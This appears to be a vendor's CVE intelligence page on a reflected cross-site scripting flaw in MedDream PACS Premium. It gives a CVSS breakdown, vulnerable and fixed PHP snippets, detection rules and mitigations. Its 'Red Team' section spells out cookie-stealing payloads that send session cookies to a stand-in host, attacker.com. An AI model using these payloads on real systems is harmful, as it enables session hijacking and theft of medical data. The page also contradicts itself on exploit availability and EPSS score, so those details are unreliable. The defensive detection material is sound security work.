☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Meddream logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54817

CVE-2025-54817 Cross-Site Scripting in Meddream
📅 PUBLISHED: 2026-01-20 14:50 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Lithuania License: Commercial
VULNERABLE: 7.3.6.870
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54817 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the autoPurge functionality, allowing an attacker to craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This can lead to session hijacking, data theft, or further compromise of the PACS system. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in MedDream PACS Premium.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
  • User Interaction: Required (UI:R) – The victim must click a malicious link.
  • Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited ability to modify data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for session hijacking in a medical PACS environment elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the autoPurge functionality of MedDream PACS Premium. This feature likely handles automatic deletion or cleanup of old studies or data. The flaw is a reflected XSS, meaning the malicious script is injected into the HTTP response via a crafted URL parameter.

Root Cause: The application fails to properly sanitize user-supplied input in the autoPurge parameter before reflecting it back in the HTML response. An attacker can inject JavaScript code into this parameter, which is then executed by the victim's browser.

Attack Flow:

  1. Attacker crafts a URL: https://target-mediadream-pacs.com/autoPurge?param=<script>alert('XSS')</script>
  2. Attacker sends this URL to a victim (e.g., via phishing email).
  3. Victim, authenticated to the MedDream PACS system, clicks the link.
  4. The server processes the request and reflects the malicious script in the response.
  5. The victim's browser executes the script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:

Vulnerable Code (PHP/Python/Java example):

<?php
$param = $_GET['param'];
echo "<div>AutoPurge: " . $param . "</div>";
?>

Patched Code (Hypothetical):

<?php
$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<div>AutoPurge: " . $param . "</div>";
?>

The patch would involve proper output encoding using functions like htmlspecialchars() in PHP, escape() in Python, or encodeForHTML() in Java.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A vulnerable MedDream PACS Premium 7.3.6.870 instance.
  • A victim user authenticated to the system.
  • A web server to host the exploit (optional).

Exploit Payload:

<script>alert('XSS')</script>

Step-by-Step:

  1. Identify the vulnerable parameter (e.g., param in the autoPurge endpoint).
  2. Craft a malicious URL:
    https://target-mediadream-pacs.com/autoPurge?param=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Send the URL to the victim via email or social engineering.
  4. When the victim clicks the link, their session cookie is sent to the attacker's server.

Advanced Payload (Session Hijacking):

var img = new Image();
img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;

Blue Team (Defense & Detection)

Detection:

  • Monitor web server logs for suspicious autoPurge requests containing <script> tags or encoded JavaScript.
  • Use WAF rules to block reflected XSS patterns.

Mitigation:

  • Apply input validation and output encoding.
  • Implement Content Security Policy (CSP) headers.
  • Restrict access to the autoPurge endpoint to trusted IPs.

Lab Setup:

  • Use a local VM running MedDream PACS Premium 7.3.6.870.
  • Set up a simple PHP server to capture stolen cookies.
  • Use Burp Suite to craft and test payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /autoPurge with parameters containing <script> tags or base64-encoded JavaScript.
    • Outbound connections to attacker-controlled domains from the PACS server.
  • File IOCs:
    • Suspicious entries in web server access logs (e.g., GET /autoPurge?param=<script>).
  • Behavioral IOCs:
    • Unexpected session timeouts or account activity.
    • Unusual JavaScript execution in the browser.

Detection Engineering

YARA Rule

rule CVE_2025_54817_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS autoPurge endpoint"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-54817"
    strings:
        $xss_payload = /autoPurge\?.*(<script|%3Cscript|onerror|onload|javascript:)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against MedDream PACS autoPurge
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to MedDream PACS autoPurge endpoint with XSS payloads
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54817
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-stem|contains: '/autoPurge'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54817 MedDream PACS Reflected XSS Attempt"; flow:to_server,established; content:"/autoPurge"; http_uri; pcre:"/(<script|%3Cscript|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the autoPurge functionality if not critical, or restrict access to it via firewall rules.
  2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
  3. Apply input validation – whitelist allowed characters for the autoPurge parameter.
  4. Use output encoding – ensure all user-supplied data is HTML-encoded before reflection.

Long-Term Fix:

  • Contact MedDream for a patch. Since no patch is available, consider upgrading to a newer version or migrating to a different PACS solution.
  • Conduct a full security audit of the application.

Workaround:

  • Add a reverse proxy (e.g., Nginx) with a rule to block suspicious requests:
if ($args ~* "(<script|%3Cscript|onerror|onload|javascript:)") {
    return 403;
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

MedDream PACS
MedDream PACS Premium

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54817/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.